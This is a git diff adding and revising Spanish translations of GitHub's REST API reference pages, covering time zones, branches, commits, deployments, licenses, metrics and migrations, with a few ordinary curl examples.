-Note that these rules apply only to data passed to the API, not to data returned by the API. As mentioned in "[Schema](#schema)," timestamps returned by the API are in UTC time, ISO 8601 format.
+Toma en cuenta que estas reglas se aplican únicamente a los datos que se pasan a la API y no a los que esta devuelve. Tal como se menciona en "[Modelo](#schema)", las API devuelve las marcas de tiempo en formato UTC, ISO 8601.
 
-### Explicitly providing an ISO 8601 timestamp with timezone information
+### Proporcionar explícitamente una marca de tiempo de tipo ISO 8601 con información de la zona horaria
 
-For API calls that allow for a timestamp to be specified, we use that exact timestamp. An example of this is the [Commits API](/rest/reference/git#commits).
+Para las llamadas a la API que permitan que se especifique una marca de tiempo, utilizamos esa marca de tiempo exacta. Como ejemplo de esto, está la [API de Confirmaciones](/rest/reference/git#commits).
 
-These timestamps look something like `2014-02-27T15:05:06+01:00`. Also see [this example](/rest/reference/git#example-input) for how these timestamps can be specified.
+Estas marcas de tiempo se ven más o menos como `2014-02-27T15:05:06+01:00`. También, puedes ver [este ejemplo](/rest/reference/git#example-input) de cómo se pueden especificar las marcas de tiempo.
 
-### Using the `Time-Zone` header
+### Utilizar el encabezado de `Time-Zone`
 
-It is possible to supply a `Time-Zone` header which defines a timezone according to the [list of names from the Olson database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).
+Es posible proporcionar un encabezado de `Time-Zone` que defina la zona horaria de acuerdo con la [lista de nombres de la base de datos Olson](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).
 
 ```shell
 $ curl -H "Time-Zone: Europe/Amsterdam" -X POST {% data variables.product.api_url_pre %}/repos/github/linguist/contents/new_file.md
 ```
 
-This means that we generate a timestamp for the moment your API call is made in the timezone this header defines. For example, the [Contents API](/rest/reference/repos#contents) generates a git commit for each addition or change and uses the current time as the timestamp. This header will determine the timezone used for generating that current timestamp.
+Esto significa que generamos una marca de tiempo para el momento en el se haga el llamado a tu API en la zona horaria que defina este encabezado. Por ejemplo, la [API de Contenidos](/rest/reference/repos#contents) genera una confirmación de git para cada adición o cambio y utiliza este tiempo actual como la marca de tiempo. Este encabezado determinará la zona horaria que se utiliza para generar la marca de tiempo actual.
 
-### Using the last known timezone for the user
+### Utilizar la última zona horaria conocida del usuario
 
-If no `Time-Zone` header is specified and you make an authenticated call to the API, we use the last known timezone for the authenticated user. The last known timezone is updated whenever you browse the {% data variables.product.product_name %} website.
+Si no se especifica ningún encabezado de `Time-Zone` y haces una llamada autenticada a la API, utilizaremos esta última zona horaria para el usuario autenticado. La última zona horaria conocida se actualiza cuando sea que busques el sitio web de {% data variables.product.product_name %}.
 
-### Defaulting to UTC without other timezone information
+### Poner como defecto UTC en ausencia de otra información de zona horaria
 
-If the steps above don't result in any information, we use UTC as the timezone to create the git commit.
+Si los pasos anteriores no dan como resultado ninguna información, utilizaremos UTC como la zona horaria para crear la confirmación de git.
+
+[rfc]: https://datatracker.ietf.org/doc/html/rfc6570
+[uri]: https://github.com/hannesg/uri_template
 
 [pagination-guide]: /guides/traversing-with-pagination
diff --git a/translations/es-ES/content/rest/reference/branches.md b/translations/es-ES/content/rest/reference/branches.md
new file mode 100644
index 0000000000..2c9471b3b6
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/branches.md
@@ -0,0 +1,22 @@
+---
+title: Ramas
+intro: The branches API allows you to modify branches and their protection settings.
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Ramas protegidas
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'branch-protection' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/es-ES/content/rest/reference/collaborators.md b/translations/es-ES/content/rest/reference/collaborators.md
new file mode 100644
index 0000000000..de2d31a511
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/collaborators.md
@@ -0,0 +1,31 @@
+---
+title: Colaboradores
+intro: 'The collaborators API allows you to add, invite, and remove collaborators from a repository.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Invitaciones
+
+La API de Invitaciones al Repositorio permite a los usuarios o a los servicios externos invitar a otros usuarios para colaborar en un repositorio. Los usuarios invitados (o los servicios externos en nombre de estos) pueden elegir aceptar o rechazar la invitación.
+
+Toma en cuenta que el [alcance de OAuth](/developers/apps/scopes-for-oauth-apps) `repo:invite` otorga un acceso dirigido a las invitaciones **sin** otorgar también el acceso al código del repositorio, mientras que el alcance `repo` otorga permisos para el código así como para las invitaciones.
+
+### Invitar a un usuario a un repositorio
+
+Utiliza la terminal de la API para agregar un colaborador. Para obtener más información, consulta la sección "[Agregar un colaborador del repositorio](/rest/reference/collaborators#add-a-repository-collaborator)".
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'invitations' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/es-ES/content/rest/reference/commits.md b/translations/es-ES/content/rest/reference/commits.md
new file mode 100644
index 0000000000..2ad89b8719
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/commits.md
@@ -0,0 +1,52 @@
+---
+title: Confirmaciones
+intro: 'The commits API allows you to list, view, and compare commits in a repository. You can also interact with commit comments and commit statuses.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Comentarios sobre confirmación de cambios
+
+### Tipos de medios personalizados para los comentarios de las confirmaciones
+
+Estos son los tipos de medios compatibles para los comentarios de las confirmaciones. Puedes leer más sobre el uso de tipos de medios en la API [aquí](/rest/overview/media-types).
+
+    application/vnd.github-commitcomment.raw+json
+    application/vnd.github-commitcomment.text+json
+    application/vnd.github-commitcomment.html+json
+    application/vnd.github-commitcomment.full+json
+
+Para obtener más información, consulta la sección "[Tipos de medios personalizados](/rest/overview/media-types)".
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Estados de confirmación
+
+La API de estados permite que los servicios externos marquen las confirmaciones con un estado de `error`, `failure`, `pending`, o `success`, el cual se refleja después en las solicitudes de extracción que involucran a esas confirmaciones.
+
+Los estados también incluyen una `description` y una `target_url` opcionales, y recomendamos ampliamente proporcionarlas, ya que hacen mucho más útiles a los estados en la IU de GitHub.
+
+Como ejemplo, un uso común es que los servicios de integración contínua marquen a las confirmaciones como compilaciones que pasan o fallan utilizando los estados.  La `target_url` sería la URL completa de la salida de la compilación, y la `description` sería el resumen de alto nivel de lo que pasó con la compilación.
+
+Los estados pueden incluir un `context` para indicar qué servicio está proporcionando ese estado. Por ejemplo, puedes hacer que tu servicio de integración continua cargue estados con un contexto de `ci`, y que una herramienta de auditoria de seguridad cargue estados con un contexto de `security`.  Puedes utilizar entonces el [Obtener el estado combinado para una referencia específica](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) para recuperar todo el estado de una confirmación.
+
+Toma en cuenta que el [alcance de OAuth](/developers/apps/scopes-for-oauth-apps) de `repo:status` otorga acceso dirigido a los estados **sin** otorgar también el acceso al código del repositorio, mientras que el alcance `repo` otorga permisos para el código y también para los estados.
+
+Si estás desarrollando una GitHub App y quieres proporcionar información más detallada sobre un servicio externo, tal vez quieras utilizar la [API de Verificaciones](/rest/reference/checks).
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/es-ES/content/rest/reference/dependabot.md b/translations/es-ES/content/rest/reference/dependabot.md
new file mode 100644
index 0000000000..ef2a0ed736
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/dependabot.md
@@ -0,0 +1,19 @@
+---
+title: Dependabot
+intro: 'With the {% data variables.product.prodname_dependabot %} Secrets API, you can manage and control {% data variables.product.prodname_dependabot %} secrets for an organization or repository.'
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+The {% data variables.product.prodname_dependabot %} Secrets API lets you create, update, delete, and retrieve information about encrypted secrets. {% data reusables.actions.about-secrets %} For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `dependabot_secrets` permission to use this API. Los usuarios autenticados deben tener acceso de colaborador en el repositorio para crear, actualizar o leer los secretos.
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'secrets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/es-ES/content/rest/reference/deployments.md b/translations/es-ES/content/rest/reference/deployments.md
new file mode 100644
index 0000000000..0117c8e6a3
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/deployments.md
@@ -0,0 +1,92 @@
+---
+title: Implementaciones
+intro: 'The deployments API allows you to create and delete deploy keys, deployments, and deployment environments.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+Los despliegues son slicitudes para desplegar una ref específica (rma, SHA, etiqueta). GitHub despliega un [evento de `deployment`](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) al que puedan escuchar los servicios externos y al con el cual puedan actuar cuando se creen los despliegues nuevos. Los despliegues habilitan a los desarrolladores y a las organizaciones para crear herramientas sin conexión directa en torno a los despliegues, sin tener que preocuparse acerca de los detalles de implementación de entregar tipos de aplicaciones diferentes (por ejemplo, web o nativas).
+
+Los estados de despliegue permiten que los servicios externos marquen estos despliegues con un estado de `error`, `failure`, `pending`, `in_progress`, `queued`, o `success` que pueden consumir los sistemas que escuchan a los [eventos de `deployment_status`](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status).
+
+Los estados de despliegue también incluyen una `description` y una `log_url` opcionales, las cuales se recomiendan ampliamente, ya que hacen que los estados de despliegue sean más útiles. La `log_url` es la URL completa para la salida del despliegue, y la `description` es el resumen de alto nivel de lo que pasó con este despliegue.
+
+GitHub envía eventos de `deployment` y `deployment_status` cuando se crean despliegues y estados de despliegue nuevos. Estos eventos permiten que las integraciones de terceros reciban respuesta de las solicitudes de despliegue y actualizan el estado de un despliegue conforme éste progrese.
+
+Debajo encontrarás un diagrama de secuencia simple que explica cómo funcionarían estas interacciones.
+
+```
++---------+             +--------+            +-----------+        +-------------+
+| Tooling |             | GitHub |            | 3rd Party |        | Your Server |
++---------+             +--------+            +-----------+        +-------------+
+     |                      |                       |                     |
+     |  Create Deployment   |                       |                     |
+     |--------------------->|                       |                     |
+     |                      |                       |                     |
+     |  Deployment Created  |                       |                     |
+     |<---------------------|                       |                     |
+     |                      |                       |                     |
+     |                      |   Deployment Event    |                     |
+     |                      |---------------------->|                     |
+     |                      |                       |     SSH+Deploys     |
+     |                      |                       |-------------------->|
+     |                      |                       |                     |
+     |                      |   Deployment Status   |                     |
+     |                      |<----------------------|                     |
+     |                      |                       |                     |
+     |                      |                       |   Deploy Completed  |
+     |                      |                       |<--------------------|
+     |                      |                       |                     |
+     |                      |   Deployment Status   |                     |
+     |                      |<----------------------|                     |
+     |                      |                       |                     |
+```
+
+Ten en cuenta que GitHub jamás accede a tus servidores realmente. La interacción con los eventos de despliegue dependerá de tu integración de terceros. Varios sistemas pueden escuchar a los eventos de despliegue, y depende de cada uno de ellos decidir si son responsables de cargar el código a tus servidores, si crean código nativo, etc.
+
+Toma en cuenta que el [Alcance de OAuth](/developers/apps/scopes-for-oauth-apps) de `repo_deployment` otorga acceso dirigido para los despliegues y estados de despliegue **sin** otorgar acceso al código del repositorio, mientras que {% ifversion not ghae %} los alcances de `public_repo` y{% endif %}`repo` también otorgan permisos para el código.
+
+### Despliegues inactivos
+
+Cuando configuras el estado de un despliegue como `success`, entonces todos los despliegues anteriores que no sean transitorios ni de producción y que se encuentren en el mismo repositorio con el mismo ambiente se convertirán en `inactive`. Para evitar esto, puedes configurar a `auto_inactive` como `false` cuando creas el estado del servidor.
+
+Puedes comunicar que un ambiente transitorio ya no existe si configuras el `state` como `inactive`.  El configurar al `state` como `inactive`muestra el despliegue como `destroyed` en {% data variables.product.prodname_dotcom %} y elimina el acceso al mismo.
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Estados de despliegue
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Llaves de implementación
+
+{% data reusables.repositories.deploy-keys %}
+
+Las llaves de despliegue pueden ya sea configurarse utilizando las siguientes terminales de la API, o mediante GitHub. Para aprender cómo configurar las llaves de despliegue en GitHub, consulta la sección "[Administrar las llaves de despliegue](/developers/overview/managing-deploy-keys)".
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+## Ambientes
+
+La API de Ambientes te permite crear, configurar y borrar ambientes. Para obtener más información sobre los ambientes, consulta la sección "[Utilizar ambientes para despliegue](/actions/deployment/using-environments-for-deployment)". Para administrar los secretos de ambiente, consulta la sección "[Secretos](/rest/reference/actions#secrets)".
+
+{% data reusables.gated-features.environments %}
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'environments' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+{% endif %}
diff --git a/translations/es-ES/content/rest/reference/enterprise-admin.md b/translations/es-ES/content/rest/reference/enterprise-admin.md
index fbe657c8eb..d903396303 100644
--- a/translations/es-ES/content/rest/reference/enterprise-admin.md
+++ b/translations/es-ES/content/rest/reference/enterprise-admin.md
@@ -186,7 +186,7 @@ $ curl -L 'https://<em>hostname</em>:<em>admin_port</em>/setup/api?api_key=<em>y
 You can also use standard HTTP authentication to send this token. For example:
 
 ```shell
-$ curl -L 'https://api_key:<em>your-amazing-password</em>@<em>hostname</em>:<em>admin_port</em>/setup/api'
+$ curl -L -u "api_key:<em>your-amazing-password</em>" 'https://<em>hostname</em>:<em>admin_port</em>/setup/api'
 ```
 
 {% for operation in currentRestOperations %}
diff --git a/translations/es-ES/content/rest/reference/gitignore.md b/translations/es-ES/content/rest/reference/gitignore.md
index 3e2b01c4bc..3736e6f6b7 100644
--- a/translations/es-ES/content/rest/reference/gitignore.md
+++ b/translations/es-ES/content/rest/reference/gitignore.md
@@ -1,6 +1,6 @@
 ---
 title: Gitignore
-intro: The Gitignore API fetches `.gitignore` templates that can be used to ignore files and directories.
+intro: La API de Gitignore recupera las plantillas de `.gitignore` que pueden utilizarse para ignorar archivos y directorios.
 redirect_from:
   - /v3/gitignore
 versions:
@@ -13,14 +13,14 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-When you create a new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} via the API, you can specify a [.gitignore template](/github/getting-started-with-github/ignoring-files) to apply to the repository upon creation. The .gitignore templates API lists and fetches templates from the {% data variables.product.product_name %} [.gitignore repository](https://github.com/github/gitignore).
+Cuando creas un repositorio nuevo en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} a través de la API, puedes especificar una [plantilla de.gitignore](/github/getting-started-with-github/ignoring-files) para aplicarla al repositorio cuando lo crees. La API de plantillas de .gitignore lista y recupera plantillas del [repositorio de .gitignore](https://github.com/github/gitignore) de {% data variables.product.product_name %}.
 
-### Custom media types for gitignore
+### Tipos de medios personalizados para gitignore
 
-You can use this custom media type when getting a gitignore template.
+Puedes utilizar este tipo de medios personalizado cuando obtengas una plantilla de gitignore.
 
     application/vnd.github.VERSION.raw
 
-For more information, see "[Media types](/rest/overview/media-types)."
+Para obtener más información, consulta la sección "[Tipos de medios](/rest/overview/media-types)".
 
 {% include rest_operations_at_current_path %}
diff --git a/translations/es-ES/content/rest/reference/index.md b/translations/es-ES/content/rest/reference/index.md
index 89f5477281..ee65e3acba 100644
--- a/translations/es-ES/content/rest/reference/index.md
+++ b/translations/es-ES/content/rest/reference/index.md
@@ -14,10 +14,15 @@ children:
   - /activity
   - /apps
   - /billing
+  - /branches
   - /checks
   - /codes-of-conduct
   - /code-scanning
   - /codespaces
+  - /collaborators
+  - /commits
+  - /dependabot
+  - /deployments
   - /emojis
   - /enterprise-admin
   - /gists
@@ -28,20 +33,24 @@ children:
   - /licenses
   - /markdown
   - /meta
+  - /metrics
   - /migrations
   - /oauth-authorizations
   - /orgs
   - /packages
+  - /pages
   - /projects
   - /pulls
   - /rate-limit
   - /reactions
+  - /releases
   - /repos
   - /scim
   - /search
   - /secret-scanning
   - /teams
   - /users
+  - /webhooks
   - /permissions-required-for-github-apps
 ---
 
diff --git a/translations/es-ES/content/rest/reference/licenses.md b/translations/es-ES/content/rest/reference/licenses.md
index f6106c3d70..d41e203c4c 100644
--- a/translations/es-ES/content/rest/reference/licenses.md
+++ b/translations/es-ES/content/rest/reference/licenses.md
@@ -1,6 +1,6 @@
 ---
-title: Licenses
-intro: The Licenses API lets you to retrieve popular open source licenses and information about a particular project's license file.
+title: Licencias
+intro: La API de Licencias te permite recuperar las licencias populares de código abierto y la información sobre un archivo de licencia de un proyecto en particular.
 redirect_from:
   - /v3/licenses
 versions:
@@ -13,26 +13,26 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The Licenses API returns metadata about popular open source licenses and information about a particular project's license file.
+La API de licencias devuelve metadatos acerca de las liciencias de código abierto populares y acerca de la información sobre un archivo de licencia específico de un proyecto.
 
-The Licenses API uses [the open source Ruby Gem Licensee](https://github.com/benbalter/licensee) to attempt to identify the project's license. Licensee matches the contents of a project's `LICENSE` file (if it exists) against a short list of known licenses. As a result, the API does not take into account the licenses of project dependencies or other means of documenting a project's license such as references to the license name in the documentation.
+La API de licencias utiliza [el Licenciatario de código abierto de la Gema de Ruby ](https://github.com/benbalter/licensee) para intentar identificar la licencia del proyecto. Este licenciatario empata el contenido del archivo de `LICENSE` de un proyecto (si es que existe) contra una lista corta de licencias conocidas. Como resultado, la API no toma en cuenta las licencias de las dependencias del proyecto u otros medios de documentar la licencia de un proyecto tales como las referencias al nombre de la licencia en la documentación.
 
-If a license is matched, the license key and name returned conforms to the [SPDX specification](https://spdx.org/).
+Si una licencia empata, la llave de licencia y el nombre devuelto se apegan a la [especificación SPDX](https://spdx.org/).
 
-**Note:** These endpoints will also return a repository's license information:
+**Nota:** Estas terminales también devolverán la información de licencia de un repositorio:
 
-- [Get a repository](/rest/reference/repos#get-a-repository)
-- [List repositories for a user](/rest/reference/repos#list-repositories-for-a-user)
-- [List organization repositories](/rest/reference/repos#list-organization-repositories)
-- [List forks](/rest/reference/repos#list-forks)
-- [List repositories watched by a user](/rest/reference/activity#list-repositories-watched-by-a-user)
-- [List team repositories](/rest/reference/teams#list-team-repositories)
+- [Obtener un repositorio](/rest/reference/repos#get-a-repository)
+- [Listar los repositorios para un usuario](/rest/reference/repos#list-repositories-for-a-user)
+- [Listar los repositorios de una organización](/rest/reference/repos#list-organization-repositories)
+- [Listar las bifurcaciones](/rest/reference/repos#list-forks)
+- [Listar los repositorios que el usuario está observando](/rest/reference/activity#list-repositories-watched-by-a-user)
+- [Listar los repositorios de equipo](/rest/reference/teams#list-team-repositories)
 
 {% warning %}
 
-GitHub is a lot of things, but it’s not a law firm. As such, GitHub does not provide legal advice. Using the Licenses API or sending us an email about it does not constitute legal advice nor does it create an attorney-client relationship. If you have any questions about what you can and can't do with a particular license, you should consult with your own legal counsel before moving forward. In fact, you should always consult with your own lawyer before making any decisions that might have legal ramifications or that may impact your legal rights.
+GitHub puede ser muchas cosas, pero no es un buró legal. Como tal, GitHub no proporcional consejo legal. Al utilizar la API de licencias o al enviarnos un mensaje de correo electrónico acerca de ellas no estás incurriendo en ningún consejo legal ni creando una relación abogado-cliente. Si tienes cualquier pregunta acerca de lo que puedes o no hacer con una licencia específica, debes acudir a tu propio consejero legal antes de continuar. De hecho, siempre debes consultar con tu propio abogado antes de que decidas tomar cualquier decisión que pudiera tener implicaciones legales o que pudiera impactar tus derechos.
 
-GitHub created the License API to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers (at least most of us aren't) and that we make mistakes like everyone else. For that reason, GitHub provides the API on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the API.
+GitHub creó la API de Licencias para ayudar a los usuarios a obtener información acerca de las licencias de código abierto y de los proyectos que las utilizan. Esperamos que te sea útil, pero ten presente que no somos abogados (por lo menos, la mayoría de nosotros no lo somos) y que cometemos errores como todo el mundo. Es por esto que GitHub proporciona la API "tal como está" y no da ninguna garantía de cualquier tipo de información o licencias que se proporcionen en o a través de ella y se deslinda de cualquier responsabilidad derivada de los daños que pudiesen resultar de su uso.
 
 {% endwarning %}
 
diff --git a/translations/es-ES/content/rest/reference/metrics.md b/translations/es-ES/content/rest/reference/metrics.md
new file mode 100644
index 0000000000..28fe52ad9e
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/metrics.md
@@ -0,0 +1,60 @@
+---
+title: Metrics
+intro: 'The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /rest/reference/repository-metrics
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+{% ifversion fpt or ghec %}
+## Comunidad
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% endif %}
+
+## Estadísticas
+
+La API de Estadísticas del Repositorio te permite recuperar los datos que {% data variables.product.product_name %} utiliza para visualizar los diferentes tipos de actividad del repositorio.
+
+### Unas palabras sobre el almacenamiento en caché
+
+El calcular las estadísitcas del repositorio es una operación costosa, así que intentamos devolver los datos almacenados en caché cuando nos es posible.  Si los datos no se han almacenado en caché cuando consultas la estadística de un repositorio, recibirás una respuesta `202`; también se dispara un job en segundo plano para comenzar a compilar estas estadísticas. Permite que el job se complete, y luego emite la solicitud nuevamente. Si el job ya terminó, esa solicitud recibirá una respuesta `200` con la estadística en el cuerpo de la respuesta.
+
+El SHA de la rama predeterminada del repositorio guarda en caché las estadísticas del repositorio; el subir información a la rama predeterminada restablece el caché de de las estadísticas.
+
+### Las estadísticas excluyen algunos tipos de confirmaciones
+
+Las estadísticas que expone la API empatan con aquellas que muestran [diversas gráficas del repositorio](/github/visualizing-repository-data-with-graphs/about-repository-graphs).
+
+Para resumir:
+- Todas las estadísticas excluyen las confirmaciones de fusión.
+- Las estadísticas del colaborador también excluyen a las confirmaciones vacías.
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% ifversion fpt or ghec %}
+## Tráfico
+
+Para los repositorios en los que tienes acceso de carga, la API de tráfico proporciona acceso a la información proporcionada en tu gráfica de repositorio. Para obtener más información, consulta la sección "<a href="/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository" class="dotcom-only">Ver el tráfico hacia un repositorio</a>".
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+{% endif %}
diff --git a/translations/es-ES/content/rest/reference/migrations.md b/translations/es-ES/content/rest/reference/migrations.md
index 547a3a6f1f..98759e044c 100644
--- a/translations/es-ES/content/rest/reference/migrations.md
+++ b/translations/es-ES/content/rest/reference/migrations.md
@@ -1,6 +1,6 @@
 ---
-title: Migrations
-intro: 'The Migration API lets you migrate the repositories and users of your  organization from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %}.'
+title: Migraciones
+intro: 'La API de Migración te permite migrar los repositorios y usuarios de tu organización de {% data variables.product.prodname_dotcom_the_website %} a {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /v3/migrations
   - /v3/migration
@@ -17,9 +17,9 @@ miniTocMaxHeadingLevel: 3
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Organization
+## Organización
 
-The Migrations API is only available to authenticated organization owners. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permission-levels-for-an-organization)" and "[Other authentication methods](/rest/overview/other-authentication-methods)."
+La API de Migraciones solo está disponible para los propietarios autenticados de la organización. Para obtener más información, consulta las secciones "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permission-levels-for-an-organization)" y "[Otros métodos de autenticación](/rest/overview/other-authentication-methods)".
 
 {% data variables.migrations.organization_migrations_intro %}
 
@@ -27,13 +27,13 @@ The Migrations API is only available to authenticated organization owners. For m
   {% if operation.subcategory == 'orgs' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Source imports
+## Importaciones de Código Fuente
 
 {% data variables.migrations.source_imports_intro %}
 
-A typical source import would start the import and then (optionally) update the authors and/or update the preference for using Git LFS if large files exist in the import. You can also create a webhook that listens for the [`RepositoryImportEvent`](/developers/webhooks-and-events/webhook-events-and-payloads#repository_import) to find out the status of the import.
+Una importación de código fuente habitual inicia la importación y luego actualiza (opcionalmente) a los autores y/o actualiza las preferencias para utilizar el LFS de Ggit si existen archivos grandes en la importación. También puedes crear un webhook que escuche al [`RepositoryImportEvent`](/developers/webhooks-and-events/webhook-events-and-payloads#repository_import) para encontrar el estado de la importación.
 
-A more detailed example can be seen in this diagram:
+Se puede ver un ejemplo más detallado en este diagrama:
 
 ```
 +---------+                     +--------+                              +---------------------+
@@ -112,15 +112,15 @@ A more detailed example can be seen in this diagram:
   {% if operation.subcategory == 'source-imports' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## User
+## Usuario
 
-The User migrations API is only available to authenticated account owners. For more information, see "[Other authentication methods](/rest/overview/other-authentication-methods)."
+La API de migraciones de usuario solo está disponible para los propietarios de cuentas autenticadas. Para obtener más información, consulta la sección "[Otros métodos de autenticación](/rest/overview/other-authentication-methods)".
 
-{% data variables.migrations.user_migrations_intro %} For a list of migration data that you can download, see "[Download a user migration archive](#download-a-user-migration-archive)."
+{% data variables.migrations.user_migrations_intro %} Para encontrar una lista descargable de datos de migración, consulta "[Descarga un archivo de migración de usuario](#download-a-user-migration-archive)".
 
-To download an archive, you'll need to start a user migration first. Once the status of the migration is `exported`, you can download the migration.
+Antes de descargar un archivo deberás iniciar la migración del usuario. Una vez que el estado de la migración sea `exported`, podrás descargarla.
 
-Once you've created a migration archive, it will be available to download for seven days. But, you can delete the user migration archive sooner if you'd like. You can unlock your repository when the migration is `exported` to begin using your repository again or delete the repository if you no longer need the source data.
+Ya que hayas creado el archivo de migración, este estará disponible para su descarga por siete días. Pero puedes borrar el archivo de migración del usuario antes si lo prefieres. Puedes desbloquear tu repositorio cuando la migración aparezca como `exported` para comenzar a utilizar tu repositorio nuevamente o borrarlo si ya no necesitas los datos del código fuente.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'users' %}{% include rest_operation %}{% endif %}
diff --git a/translations/es-ES/content/rest/reference/orgs.md b/translations/es-ES/content/rest/reference/orgs.md
index 8f122e594c..3e8f530df8 100644
--- a/translations/es-ES/content/rest/reference/orgs.md
+++ b/translations/es-ES/content/rest/reference/orgs.md
@@ -42,7 +42,7 @@ El token que se utiliza para autenticar la llamada debe tener el alcance de `adm
 {% endfor %}
 
 {% ifversion fpt or ghes > 3.4  %}
-## Custom repository roles
+## Roles de repositorio personalizados
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'custom_roles' %}{% include rest_operation %}{% endif %}
diff --git a/translations/es-ES/content/rest/reference/packages.md b/translations/es-ES/content/rest/reference/packages.md
index 8af15e78f9..62f0256da3 100644
--- a/translations/es-ES/content/rest/reference/packages.md
+++ b/translations/es-ES/content/rest/reference/packages.md
@@ -1,6 +1,6 @@
 ---
 title: Packages
-intro: 'With the {% data variables.product.prodname_registry %} API, you can manage packages for your {% data variables.product.prodname_dotcom %} repositories and organizations.'
+intro: 'Con la API del {% data variables.product.prodname_registry %}, puedes administrar paquetes para tus repositorios y organizaciones de {% data variables.product.prodname_dotcom %}.'
 product: '{% data reusables.gated-features.packages %}'
 versions:
   fpt: '*'
@@ -10,16 +10,16 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The {% data variables.product.prodname_registry %} API enables you to manage packages using the REST API. To learn more about restoring or deleting packages, see "[Restoring and deleting packages](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+La API de {% data variables.product.prodname_registry %} te permite administrar paquetes utilizando la API de REST. Para aprender más sobre cómo restablecer o borrar paquetes, consulta la sección "[Restablecer y borrar paquetes](/packages/learn-github-packages/deleting-and-restoring-a-package)".
 
-To use this API, you must authenticate using a personal access token. 
-  - To access package metadata, your token must include the `read:packages` scope.
